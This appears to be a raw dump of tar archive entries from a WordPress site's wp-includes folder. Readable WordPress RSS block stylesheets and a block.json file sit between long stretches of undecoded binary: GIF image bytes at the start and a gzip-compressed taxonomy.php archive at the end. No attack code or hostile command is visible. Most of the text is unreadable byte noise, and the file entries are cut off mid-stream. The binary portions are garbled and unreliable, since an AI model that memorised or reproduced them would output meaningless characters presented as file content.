���!(�	3aP b$`�0]b��2z0�.\�=�$��~j��E�S-� d�#�,X�bمH�h����bE�!�#F|�4DP*U��#4�DZC`H��w
�C$H�(a"/(P�D��a&N�m��ɓĈ"�8�"�%L�X���s�cdxj�t�&!tz��,hLRbI%�!����ŋ^�
!R��$ }Y���2hظ���/`�1�K��aĘ��F�?�R���NB^\�1��
9xD?�7��hԉz3�^�'�a�P���u�aP��bR����!�	�,  �		HPI�9w�(|CG�!)J�(���3��R��D�I@�>��P����P'L�e8lА�…
=�(�Sf� ���c�?;1`�IaB��o�P,�PP�`�>����
$H�`Ga�,f
B ,�#fv�<��	m�� ��
�!���CY
$D���BB91b9"q�p0�Y#��P8E��7fD�q���{2.t3�A�(H�f!
��!���oTa�#�w 0���C¼��C��r���4��Ea 	�8���	$J�E��R(��`o�Q�S�`B	�fL��� �!0�'�pˆ�Q8�B��`d
(��BAPH�B|�c.�0Əc(��?(�Ea�!�“*��&*�]��B^�
,���>Ph� Yh�ŕ0�Z,��Y($�GV(4�X����h�1^-��0ȡdHD�B�Ta�XhA�	ԠP/�:���W|ae(��SPaŤ[��q!��q�2�@s覐T@�T��h��ફ
6��k��M<����f���p�
9x�`A�I,��OD���A��E
6�C<���H(�DN@Q�o��DG(�F7�E�_�!F ���vHrA������
�n�	/!A
Y��������E��}���/�����	x��Bk�@!AI��uHlMQ
�Q�Dj��!�~,  ��~���4auo�otq8����E���qN��,�� N<<`aix�r/���ofG!d;�;Eln�tM�N�uX"g���"��oX�E�z:#�!!�;"�y���,�z,$$�ȶ�E��t.�fou<L�p����F6��p�B�;o�2��ˉ݉���R4�V��Ɯ�o|�@�c�h0-��ႅ�&�y#�
ENƤXy��Mx|�2G(L� ��
>�Th���HW@M��PVX�Vk���¦,�8<�Hk��/oz��#�
�;�DG��[�P�d���0�piɋϟ�Cтӧ;.b#���I+J@��js2r˘��`+�@@܂"�\f̠A�F�7j��S��8��C�6l��͉������7v�߸�#G�7Q$MQG��5(�}9��z���@AEI���E|�g�7���lԧ�<Q^2��FZpq�z�� G7b�?|!�.�GV\�E�j���|hǤ(@�CaJ4�DSTaYl���큎^p�`1DG$�DN@!Ab�� l�B$5œQ��qJ���y�$Q���EL�&�P`I'��A�+H4��l"1i�QH��y(1�-��H(�_��P�"l� H<��%{��k$6PF�DZq�
�!�	, �������]����F���?O ��&%$$"";!dD�Y�)''&�#�;�;��_c)((�#���;�S�3**����;~�;Fj�5�B-++*���#!�W=>�..-,�)�M;�7ă0//�,2�Qzhؠ��1𹠡�ɇAk:pР!C�2d ��	�B�A㖎@b�p�P��$QXy���2��ظa���
@+P(@
��GeN�@a)�)9r萊�� 	&`�#h�/`yȄ�l��x�
D�����/:z`Р\Bl��H� 
�u (�0_�BdI�$@�Z� ��8#H2"F�4i����(R$5%K� F�`/�b;�&N�H�b%��.a��}@#&Hn3i�|�,Z�t�#`z�HYp#�;x�b�?D�Q��O�D�R�ʕ,�EG�I� ���}��]L S!t����`#�\Ȉ�!�	p,  ��H��u�(|S���J�(���3�1���֩`�ȑ"D�HH��C���T�*Ơ8a��$fD�E�/^�\�"E
�>G��Ba�G�9"-��<Uę37)J���7i�̐!#Ƌ,V�@ѓ���O����E;JjԘF��cK���O�U=���6�����("B�	��u�Y�y��m�4t�ɸ
?��z�N
�Zt�����7f�����B%��&��Ȁ7vxx��<��O&6Q��-x�T���<�(��q��&��C��� oD@0��j�Go���]��oܡ_���
I!�
�сl0�BY�!�2*􅄜i�A�.b��CA�

!�
i�AJ���DQĔ
U!�ko`�%�`�Fa�!�n�Xp�\�F��ypH$��
Y�Q
�A��Z��q�Fu*�L��"H�g�LP����
��L4�y(�C8��JA�P���8�Q�}�*�P\o
�D����q&��F!�VL��Bqt�
8�Fz��NA�Wh�E|`�	,�@<�����[�X1�Vd�.�@o�8�[t� �
���Wd�Ea0 ��X�Q�X��v! �=x��0�\h����{���Aΰ�Bt�a�H ���I8P��Jx=Q5��s
�Q�AH!�~,  ��~���5>vo�ov=|4����Gj���=F��,��v\MLKJXu�f,���olX54320/.-+*N>�uE�Q�8765�1�,�c)\�oN�H�pN:9Ǵ2�.�*)('<z�„-�pC<^��4�/-,*��&,�u���0�<n�f0�7n_	:T}t�͂/?
���*)N�xHb�t�ʼA#�@������#F�a��D���KXj���9E�9sD
o�)Bd��8��Hr���3!҂xF��#F��p=�(
�&aӆ C��D
� 9��5��|�I&���N��r��R�}����,mJ�Ġ�x~�Zр&�a�N�Eш�`.
p���ETkQdduPo@Y%�L6�g��Pdg�tؼ�%�)S"(���JY�;tH�&�<�P�b����̿��a��x$�
�g�WtAGYV���r(��h��ڽ��{�w�Xd�pФ\�j�F{�(�X��]���L����X�"��Q3�vt�š8�����
<�T �(!.��b4ɇD9e@ �Zj &/D"�
�!Ɠ���m^	db���$T(BgB��8��q�"X��D�zX��.���衉�С"w��+f�A�*҇��D�&."��Fr���ܐX ;14338/xit.gif.tar000064400000004000151024420100007265 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/images/xit.gif000064400000000265151024251350024115 0ustar00GIF89a
�
�������������������������������!�
,
@b����RG�"B��d�H��C���a ���L���0�P`v����O�B�<�v�ƨD:5R+U���N��+C�r�hN�����q��P,
 ;14338/rss.tar000064400000032000151024420100006525 0ustar00editor-rtl.min.css000064400000000260151024413210010114 0ustar00.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0}style-rtl.min.css000064400000001214151024413210007766 0ustar00ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0}editor-rtl.css000064400000000311151024413210007327 0ustar00.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1 1 auto;
}

.wp-block-rss .wp-block-rss{
  all:inherit;
  margin:0;
  padding:0;
}style.min.css000064400000001214151024413210007167 0ustar00ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}.wp-block-rss{box-sizing:border-box;list-style:none;padding:0}editor.css000064400000000311151024413210006530 0ustar00.wp-block-rss li a>div{
  display:inline;
}

.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{
  flex:1 1 auto;
}

.wp-block-rss .wp-block-rss{
  all:inherit;
  margin:0;
  padding:0;
}block.json000064400000002430151024413210006521 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/rss",
	"title": "RSS",
	"category": "widgets",
	"description": "Display entries from any RSS or Atom feed.",
	"keywords": [ "atom", "feed" ],
	"textdomain": "default",
	"attributes": {
		"columns": {
			"type": "number",
			"default": 2
		},
		"blockLayout": {
			"type": "string",
			"default": "list"
		},
		"feedURL": {
			"type": "string",
			"default": ""
		},
		"itemsToShow": {
			"type": "number",
			"default": 5
		},
		"displayExcerpt": {
			"type": "boolean",
			"default": false
		},
		"displayAuthor": {
			"type": "boolean",
			"default": false
		},
		"displayDate": {
			"type": "boolean",
			"default": false
		},
		"excerptLength": {
			"type": "number",
			"default": 55
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"padding": false,
				"margin": false
			}
		},
		"color": {
			"background": true,
			"text": true,
			"gradients": true,
			"link": true
		}
	},
	"editorStyle": "wp-block-rss-editor",
	"style": "wp-block-rss"
}
style-rtl.css000064400000001401151024413210007202 0ustar00ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 0 1em 1em;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}

.wp-block-rss{
  box-sizing:border-box;
  list-style:none;
  padding:0;
}style.css000064400000001401151024413210006403 0ustar00ul.wp-block-rss.alignleft{
  margin-right:2em;
}
ul.wp-block-rss.alignright{
  margin-left:2em;
}
ul.wp-block-rss.is-grid{
  display:flex;
  flex-wrap:wrap;
  padding:0;
}
ul.wp-block-rss.is-grid li{
  margin:0 1em 1em 0;
  width:100%;
}
@media (min-width:600px){
  ul.wp-block-rss.columns-2 li{
    width:calc(50% - 1em);
  }
  ul.wp-block-rss.columns-3 li{
    width:calc(33.33333% - 1em);
  }
  ul.wp-block-rss.columns-4 li{
    width:calc(25% - 1em);
  }
  ul.wp-block-rss.columns-5 li{
    width:calc(20% - 1em);
  }
  ul.wp-block-rss.columns-6 li{
    width:calc(16.66667% - 1em);
  }
}

.wp-block-rss__item-author,.wp-block-rss__item-publish-date{
  display:block;
  font-size:.8125em;
}

.wp-block-rss{
  box-sizing:border-box;
  list-style:none;
  padding:0;
}editor.min.css000064400000000260151024413210007315 0ustar00.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1 1 auto}.wp-block-rss .wp-block-rss{all:inherit;margin:0;padding:0}14338/taxonomy.php.php.tar.gz000064400000111143151024420100011575 0ustar00��{{Ǒ7��+}��m�Iv��HKeeII��#i%9>9z��C`HNb ����O׭���gR��$�nq������u��isV�<^V���oN��Y�N�y5�U弞�������4��b4i�n�/��d��V��U�C3o�.F�����r�����緾����_�nu������o~�{�ŗ��խ�VW��nW��5�S��3������]����׋ϋͲ*^���=v�/����*�k��g�XZ|ڮ��|�߼~��M����euR��e����^���U���buZ��^��`���vĭ�<���x=����q��/��Iu�}T8bl��ʑj4XU�0��l}R�ۢt��5崚���w�|^.������Q=�W�˲m��ް(�Ӣ<)]�=�ۏ��VU1�.�%vdT|Wg�z���MSOy�����|Y��b����r�:�ynݾ��/F�9����j��ѭ�q88_�W��b�fn�(���b98,�N��Nf͑���sgvܷ�1����0ͼ��F��~�'�Jc^�qX�ݽ���׸U���ׯ�Ve���q�T��:.׳�xVU3�1�����bZO�4�<5�^��_ۑ���\���ٵ���Y^
�;�W����EӮ\'O�^��8+]���˵w��[׫k@�׮�I�}=sJ
_�u�����FX�>�%�rt�-�z�V�<+�.�ؙ4�U���m8���[0�i����bQ
���0#jc(
S�X�.���[7��׊EC���!����Y��
N�jY.'�����d��k��k��m�A��^q▿Y�J��!�̿��Nx6�����x�o@-|����o5���[�u:q4=�~/*7O�z��%�_-�ge�z�G�����������G/��^��z�(��Ir5v͏~u��vV�`B^�C:j{���;���G�-��;�mI��~p�-Y`��/E�v	�t{z�m]9JyS.U*�h^�U4��2[��vz:�=O�hVO�Ol7���|��3�Fe��Y=O��l>Hˌ�֎��AO=�rQ��ظ�M�g����Y���X�}L����'i�i5�V�N~�-۶>��$.��&�͌;nV]k
�xt������^6��#��̵O�C�ы��з�_�ܻ~
�<�z�q�UgY�z������k��o�&�:	5)�I�Q�C����D��������@寱#���R�iEQ�V�LBa�&��ȅ����&O�7�	^/�?���j�؂Cm=+�Ŀ�>��{����p��R����*��&���h����ShG�Vg�
��J�l�_�˦;����34e[o$��m���V�G���o�S~<B��o\�Ńp�u킍_�O+�.n�dwʧ/�L���Y`�J\�l&t1��R�ݟͺ�B2BN�]�#W���z1Żn���[,�UC9����y�
?���s��o��T���	k�MF;�[���;�}Ϸ�l�t��ySE3oKNN����rq6>�cm�V�A�$�Wƫ�k�q�9rX�-����k1�rLm�S//�\,W*�_�R)�JKe����#�R�C��@鑥ԫ-�Q��uJ��s޴�9�7�����-��P���>|��U�1�'�	�
�\��Ƴ~�9��O��e5��]/�r%j�}VI��W��P�Z�Bka�b#?#=߸]]�&�H"�b���&/aD��>,�
�yE���qV�1�ˍ�j�;V���g��ܳ��Yqt��9���p���=�[�T-�Ѭ���j�����b��Xͪ������%�]`��h�Zv����N���Ȭ�[�h�,����T+D�n+��%�!��,*S����|i�+3���
RV��P�P��r���ZPO��W�b2^�����Fa3S�xZ��e�7�h|�(3U�#�٪ZW������MHA��g`�`�J
��eo�4�ż	�s�؞4��=o@VZϧ=������F[�&i��L/m_�f�_M�e���2���|p�kh��xSw�#Uɟ���o�۬۬ۨ	ި�xdn�H�V��d֬����;��Z�5|�V��=�{'�����������������#����_}���`w/^��8nG�L��Ԣ�)�'-�)2�r6*�������������C��d�fx��s7�����LJ`���V���zjo֫�ze:cK5t�_��,���QjM~T_��m�jY������`��(;}���‰+���ج9馠נFv}s������ɤZ�����ͥk��8�ʹ#��좷��f�B8Xi��U5
+s��j��L>k�7�
m�BXMO2����ZZԔ�K�ʅ���o�)R|
���d1�j�x���I�D�㺚M]�]��888�5���J6/���Cu���Ę��G�n�Ȑ��z�I��\��I>#񼈧����NP>E?%��!�G���ٔ+U��B{�����P��=�����ݏ�;�'�vTw�e��A�)�`��-��ZG<�ې���|Ϙ(�9�I���N_~�G�V��3���:~Q��DnsY�ebw��9mJR��a�/0���8�)�
��Ɇ؂��o��4
�G-*z�3� Cb��O�З�n�b[�w'�B'�S��$B�{D��|#\z�ܢ��c���t��9vu�
�"왏�ߙM˜�U����n��K���o�N�M��U�g�t���%�95�rs͓�e�^���A�L\�ȋ�����\�#��w���h2�	o�(X�����>�.�S�y��^:�29�&�xZ���|�r�(��~S͡�8v�,���Ys���4��f���Q��0�MF����0Շ�x����xI�08�4m�v>p����b�;^�7[�O|�c����Ar�Y:04dj}���^��CXiw��c�B���,�/3��j9�����$�����-�;	p��'���s��ܠ�2Д���>���~O����8�&�j����բ�s����H7��f9]�{�Y��ĊڛGe[Oڛ�f>���o���;�/��w����ɬ����n���⏮�GM�mKӆ�]]������hTvx;�n�/?�̽i�D"5th��M��{��V�ʔ=:�[���I��^F@�6�	��4���
�*T%2��q�cv�,��n�n�B0a9����,x���Y}r��m���#��b�(~�/��̩�Qh?C5j(F6�Œ��^�9:�>�&B��=�'�e$icZ����!(��YUw��
����eg�ǩZ��@X���Y\k`�#-_��p�M�"8��EKRŨx|�+��ÿ�+��vE���:�/�{h��	l^�C��m�7����*�f��D��z���V�8o����ۺ���e (�F��_�/���>1�����Yz��D4�`U�,�n��yG�d�R5Bu�'�D'n����uh�]G�����Q����Q�G�|����]�������h�|r�F}^�C���.}�-�K���Q�ø-!L���xr��W8�̴��A������'�P�/�%�j���78UxAY��h��@�o/}F�r�0�ו��	�vt^M*W�_�#��0�m�{���;Ea��z��.`֜W�	DW���i9w�\�U�����)(����|�MCkG�����N����z}��>
z*Ԡ��P��A*0Cy��׳)�.G�ͤv�y�ݬWp�ߏ2!J�MM/q�^�Z���o�c������}e!��8э�b�5;�q�&���s��W]|�$"�!��R�\V�U�]��y3�7r�Vb�z;_h��B��^G[D:%j�\�p���
����:���k%��(3���>��rU��o@�=;+��|�9�׍;j?j�'��!v�Kī��
z����9+X�W���+L"����
,�ǃMqtAG�~;�u�4�L����^�E�f��{,G8Q$��
|�Wh�D��MQ
��t�p��ѽ��]�__�����s��z7�ClAfI ?��1�}�[��Q��*^�h0���=oVER�������H��.�")x��F�ī�O٣���K�v�Z0�m1]�������+lV�Dž��x��yhoN�U�>�n�D͡Y2�Y�G0�X�U>�z2O��eW�o���h�</��*_��X�k���g�-���jV�%x�rp�Z�UV��|���+�d��,y���;�W</
�zE9�4����/7���x�sp�Y�E���
H���^/g�d8ŲY�T�}�ZS���m"�bx���o64{����-���z���T���6�#����Q:�������w��	v��m�O�m�ǕvHPND�����ͣ��ȵX�����W?�1jǨx-�u����LY�d��sר�r0#��U�ji��"�['�o��ɑ��ٲyS;���J�g�U����������}�����o,=�݃��W����U[MrW{�09�WW�Q��%�-�_���D���斅���t�Ԗo����2/q 
7�[�y5��0�e�X��=��5�S��8��Ez#�*^��Ɨ�HŠ��~�E�`����Ĉ[q����WH��0�"�����xW�BG�*||���]����d�c��T�\�''��錵H\:��y���@���s28��@FX,�7��H�\�x�ab�P�]T�����L�� X3�p�H�l��|'�.�;�4��8a�񧿓��0���]��2�C?�CTg���ɳ�j�_/H��
XVR���՝;;����
�e�Q�L��q���
���}G����[��/�颁2�R�ңg�'O�<:�F�\��{l�U^�������x{h0^��"�ӡQ3�Gi�tm��G��w?Ž��;D�{�M�2Tc�nDLS�n�i����p8�g�w��58�NN�(�d0�
I�sߜ#�(L��9��jWs��4�٘{G<kw�;.���BǴ+�O�,r�c"��wB�q
l�[��tlx�l]sl��B�8<�O��t��C�'}c��~�g	�� �ֈ���%5hvW�S�67ك�s$xC�X/�i���PF_!���~���9
�~@����uZ�Q�?Tl[e�
�ӂ�=���G^I�C�9�H��zJ�΋+�Ptc@�8<_�[�
]��;���-��քd�do+^��1ksU�yQ�f˵;y�Q�4��.5н��{WV�DҢ�}�b�c+yi���\����
u=~����'��)�}�x�䛿|r����;��ݿ-�n�y?��8��?�Z��7��qY���*ruI�o�p7���m��vN�u;������1�c��^2�(F/�jK�E@��
ko޾0���=�HS��i������Nv���>y����'��c�m��(}��չ����B`m܎�\�'�S��+�/�x�����ܯ�n��w�z������؋]�xϹy垼�v������{,(�(�8j���AWs7�C����Mp���!��
|%��`��V��W��0�Ѣ�p����R����Ռ�(��=�Z^
������	_��K���:VZ-��]�e����,����#pσ{�bU�f��y�ᅲPN�Q�����.���ÐN �k@>z�u4��[#ﻏ��SE;m��_$��੉p���*1�^>��8�ڇ\�í=p�2��y?疴*�j	�~Mg��4��ݼ~m���0	������0���Cv�I�PO6N>�\�ve�}jɮH�u-���]EǨRi�:�R��ݨ����8ۥ�B�>xs%��0{K���0&�ߠ;��)��Mˏ~p�n\��b\^��o��z��zP�V0�=���P����S���q�c���%02����B���͊�^�"���~苊	s�S�D��Z��������� H��p��ž��LF���L�(u����//WԷs�"��y!s7�i��1�K"�u���sB��*�k�6�"ۜ�a�3g,m�<c������a���f�|�k�S�B����=�5��N�(�(��K�|(P(�Tq�K��f�\��-��Z[�omU|�?7(?��B�qUǷ]�7��Y'��#8��r��o;�=,�#�ͧN�c2�&�	:���\-�;x�y���oF�����g�O53���I3v&p�i��_ƴH���DA�r�v��Լ��i����,�p�
���p�ck毃em���9RF���V����5Ww�I�{�^Z�S��;�,k�xsp\EYr�N���
 ~jps� c5�4��6�DS‚;�+�dh�=�:
��ĨC<�k�P0���s8I@=�����]���	��a���S���D�?���Po\i�,t��sO.=�gؑbA����K�����9�w�^	r|rx�PT�w�����<�V��#��{�Xl�:��R��Q�}��4�*.G�&�E�^-�Iu���9�~|�a|����_ܺ]�޾��f�}������Q�cYm�\ޱ�o��xE=�NA�QA=�]�*�aV�(h�>;�@����j�i��#��#>�b�ͽ�.y���-���7�R�����߇8��0t�Źء83r����V���Y�]�_{(&��ָKP�y��6�������B����n�1��m�a�6g�b�����#�-��q�w��?7�i��S'��Q���Mu*���:YMK�����P�]���*5��]G�Ƒ��	
��#o�N��n#}w�
�އ�M�ĺ��S��g��Htu���@��np��4���ڳ�\�4�ӏ���Rj��`�;��7�d�n
�0��v��,Xm��4�4/ݠ�=sԵ�:5m'l���� Vo��1�jh���1��L�E'�w�{�n�|��h�Ё�"����Y�jޱ�����|��^(�$��
A/�����U@Q��X�u�+̣2�t�>�ʩ�ic��r�oUg�q�����'�Q�Ҏ:R�p���L0��\�9�E)
��i	y\��G�{RPK��[��&�I
��acX
�|S�?:犽9�S��	�oJ"j�%�B;t�Q�	PB���^�0��L�P��z'����f
J��j>�XA��ߝV�EK�MʝB�y���r����.[�^�P����i�b�7��oZ��Ŀ0�&-�IGR��_a/�2�;�Q�˯!:�MБݣ��uvV���>��J��߳"���"V�(�{��b�,���d�;ŧ�?�d�)�-��m���.�-��
�NY _����ʀ+�*#(�{c̽w+?��BkX
��E�}�s(�ʅ���s ��yD,!�=���@s�zXUy��;�̚�/��"���>Z��2�5%�:�@�C��!�ȅ]%��7����"�hn��wTp9�Q��
��kxg�ХЛ]�㑞U˓J�ZZT~�[�~ �����r�t2�E�;N��v���E?j[\ށq�Ă��w�ct��r :! f��+d���;�!�u~�l����J`�y��~l��J�wõN��]3��C�\w8�vF������n2sE�6����m��&��w�#h��<"$�xE���6�Eƛ�Jd��]L��nu�
䣱��PLk?���[F��p��c5;���7&��ߗ�����"74�مͮC�=QuW�'���Y��7��A������;��!
�֗�Tpv��f)C��c�t���b��A0��@�T�"h���l/x�һ��~���Ξ7޸�;L��v5C����P�qʁ���:j�42P�,���WEB�ʕ���oP5�w�@�Ct�Ő*��}���~��/�gx�#�Ch�G`�]N!̔qUcρ��/�G�
��>z0���x5�x���E^lD��J��G���~\OA݅t����4^ѳV��A��
긔���&}����қ���ɼ)0I#�	�XXog�_� ^]�����胧Df���A��qkN�3`�u�x�F����߫� 5ᵅ�q�܃��d������h�c_��jnZ��c�<��`!|"u�Bx��	t��Q�LU�
Re�,�P� �tڋ��?�'����(��d�$N������+��~>�oX�X�7fD
.��pd�j�u��{ŭ���;&��5Mae����y��6ڵ�S���(F�^7S'���ԍ���ڿ��d�G�]݅��JMw����U��x�ͣ/�1<�ڭ��?��1��ܷ�j�J�^��ѻ���'O=/����'���(�*�>���h�K�~��G����U��ƾW���꾠�<�����O_�����=�9�f���� ~�r;"�Q!8�p�nq"�Φ_9�ũ�cڻ�kVe;�[�v��>�hs7b���b����+���f&]���l�U
��U��m̳��
����u@�WF����@q�B3�[=��;^���[00
�:�@����k�� ]�����Vj`�:�����>8*,J�����Mp��1w�־���G�X��Zi�7쪎
�Ɔ�ʃ���G:`��@W��Q/�h٬)��`DYc��}/�]�����u[��[
N�Q9p�AY�J֖�`PL����€�g�/��'�(`�с�7�$���~��jHn2'
����Q�{�b)��T͝DT��[	���Ϭ�^$H���xT(yFD���Ϊ�i3U�
c���yC��}^l�s�� T���"���<v��¯3zx2bP�)'R~ݸ+6�	T�J
����ݘC.S����
b��"LJD*<�����W�Ч�N:��ȧ!yU�9���^�BŎ,-:qi'��r�ĬZ��ĹÌgG_~U��l�_ǡZ��uv<��rKʬq�@��6�0�N���B�8��!
���:^��"L�L�wo	q''ׄ@�T��j�M�5����x����k6�g.�6��A3w�B�e4/��1 �~;�=q���q�X��?V�}O�O;�U9�8J=$+��������Զ���U�6��-�7Q���;�D�f.�<̷b�C���cK<����T���%\qk�Iȝ&�p��hk��p�>@dX�nي�B�{��֟
x(�m�S�=�`�yJ9�9<4!|+�9:Ė/3"_�Ш����[�¾Vi:
�EՈ�n���ToG�co&�����~�%����2���H��O�k�i�4K��8�PL����9�$?@Q��z�=۶Ah
���T3$E�4U���T�0v��iO�.W8��eyn���$5�\��"p�L$�.���Jl�DhO��Zs�K�d!)�6?���,.��O�w�_��j6+�U�n;���I�Gκ��@gQj��=�	S���W���ؠ� �5�0L�	|�����SǛ+xYm����ZI���$����d����"��/�`��D#M��+]ɡ,�]�\e��I�n�4�$�+��kQ3x���oSC����4~�8GY���'����3�	��M`��+9�06o)B��Mc3?"U�l�	@�;2�������R�4
�h����X�KW�,,r��R�(#�ŮF�����4ǔ�ٚx���.�<�J�|Z��gݭ��H&2�%�7%*���_eƯ�/FL>c�()��{mf� �B��y��)�O��7`P�?XDz�,�v$�2�\h<�*�U����b�~
��;x^����z�B�CHO�,�xr�=�9��c�P��`k���;�q�{��m���V�I�2Y��0�j�J�8&˅�����:���|�y��*�"
A��>��\��<�)v<���vR.�!�wa�\��/͚tK��n��V�c�E�&�dg�7�/U�	.	��Ԫ�02e@֜��E�.�=٢���
\�Y�
���t�m��Xf�!ߥT�Z$<��:�5	DP!��N�J��u㈣4Z�N�T[�_��rv^^����(���`8=�!u�pj;���k)V�Km!�WQ�)7Z��jd���_�{�v�Rn^׉9��Kx/�%Y���\F=�n�#-�xݽ!8:z�-�r$�.������ѣ��@��8a�7u��=�	�H%p�K��K���KLNS7#�e/�u^�Lo���t�ćGX�X��=�$�"��`���$W��ixL�N^<~8 H7�u�Jة^]�{�i���Q7Uޕ��@��8�4�
�RIF��w�̤���[��w	H�0�*'j��p��x�S� ����1���L�q��GSY�
�'SU�^|0��0���/0$�C1�7̐	��J
�R2u��y�^����`�d��`2{�2߳�[���	�<���k�j	����B�c�zi�w���΀�"��eJ��.Q�O-»bu��ك ��|��"�W��I�
���#�����}!�v7�KW�/���9�+\�(�y��ץp�zD��.֡ɕ�[� ���Ɲ�@�*JZ����]?-`p�����	�P}��>�Y
��QR�i�d�T�^,�3��do��\'���^�'�Y$�������+xzr���U����IR�:�I6��>y�%n�\ZfZP�}S,����;�bj]j �.�k�贎���B���}Z��g|~<�+�=���rƸ2��@seN��h�
�*��y���=�.�_�r,֍�+a��9�����O��.�N��M�՜��e�L�$��^j�M���K����n�2����W��tt�����WU(��x=������t�DMn��z��Q�YJ�N�Z�9{[#���E�c�r�Iyȹ�YP��Bp��W�M�ߌ�!
H7����yS�OI�S{ �?��9�؏��I%`�q�0|�*,]H%l�{����y�&m�֤
a��S�^_�:9�l�@���ޚM�b�]z��]x�+�|�(�D��*�Zk���zJЕp�i��T'pm�d��EZO�2t���}G/0O��6��E���&����y/UӗA9i��`d�[�,]��
���v6Y�s��r��]}�{�7�}/W��)�|��`�}�_���^��}�ƁGf�>�γ}���Nd�
�IN5JBEnM9�Ic7�X��)�Ѓ0񄌅��[��h%R�����?�����I�Y�̲�)�����1���+#��y�u,xo��+F��NAZA�[�����x�}����g*�Z�㪋�ws,�/p����T�ζ[{Ya���v�U���wa���!娔�f�����ʬ��2�tB��&��,N�	܏�Mk�	����@g
@G@�i�f�`���l'`ٗTG��VsН����@+��)��3���-b�U�>����TE;�s�Bb5��S|	�Q(�#�\���@��mn�;�BnP��G�(���"��اX�%�8�hJ�X��iW֔9ö�wb��L���x���0��+}� K���YF�y���
�0w�`ԡ�k��zV��Ӓ�.����e[zw/��L4g9�U8�}2[���?�M���PN5*��jǯ�X4&�6%Z�	`�}bd�6�x����NiUm�R��	��<�o��S�!I���/Q�b�)U������R"�Q=��H�F�=8�����V6q	����g˺�XH��0���#��`1�/��={�Q���	ҏ��L�0
��(k����jہ�&b���S`�}w[�R�ښ�z"c������C�wi���s;ۚ0|{1�F���o����\B���{(Ce>?�h���;	4�+>�����{�(<Q���.c�{����gD$��3���0tKs'Ҳ�mNd�]Aq_��r9�P�U�����h39���p��P��?:�'v�I7�a�^���RP��zNb�z��}34ena������*�vd<G`�ꤜ\��K}��;��1$�&Q͛�2�G-��+�"bej1H�[M\�Si���4~g&N�`��\�������C�*j<>�9�4��U�ʼ�	���G6?�ޕrH��ic|�oH�0�i����;.^u�CӇ�~�6�.�g|f9�oO��Y�P�h����ѥ�����C<���ﹹ�h$�e5�w|߁��
$�Y��#6d�u
��-�@uN�f�cL�<�pp`��>9�˞��i�D�-�U�Aw*��5D0��:�T̲�������"���vC�ZD��Q\�����=@�~���͘�r̄��C�tl��1� ���֡�1�����Dq��,]Z�"�{2�&5�njN�7�W�"�y������)��b�r�2���
�L��2�
���*��t�y�g�4@�1���2~�c��g��I	A\�B�UL�g��x�p�;��Ѕ���_�y��G]�%�����x���s����n�%�R�aD��k:��N#ß?~�~X
�LQ����M��ys>�N�iDJ]�ֆ�L���7�&���[�~�k��<�[��h���l��B�Շ!�\B,{t�$P�~ۨWv�L�riq��$�'�=���p�	eɏ�����wR�j�$A�n{9�&*��Cû��\�0��k(y@�tT<E�C�.��Lݿ#�E�b5�xq��b_��Z_�sR���m������;�>��9�=�Tg.r2Ŀs�-�fM� �Ug�<�m��qdq�̄���vR�ʥ&#D:td���#/Nu������K4�
$�u[N�
e>��+y��+h��i�L�
@��b�䳛�z_)=yρ���>YC��Q�:��
�oKJ��&^Kbdw���)d�.�&H��u;Fv���^��cQ���]Lʹ^
ԢW
�	�̍�P�}W��&@X��(���C���;�O ���TF�9�ӰbΊ��Jm��.�s�y��y'L�T�/����bk����馽�����UZ_�y'�k-7�u\����Q��(w��H��^Y*r���ߨ����y	�v��a��v���
̂Km$��Vuu���Eu|�$\���_�d����ﴩ�|�Q
�u�
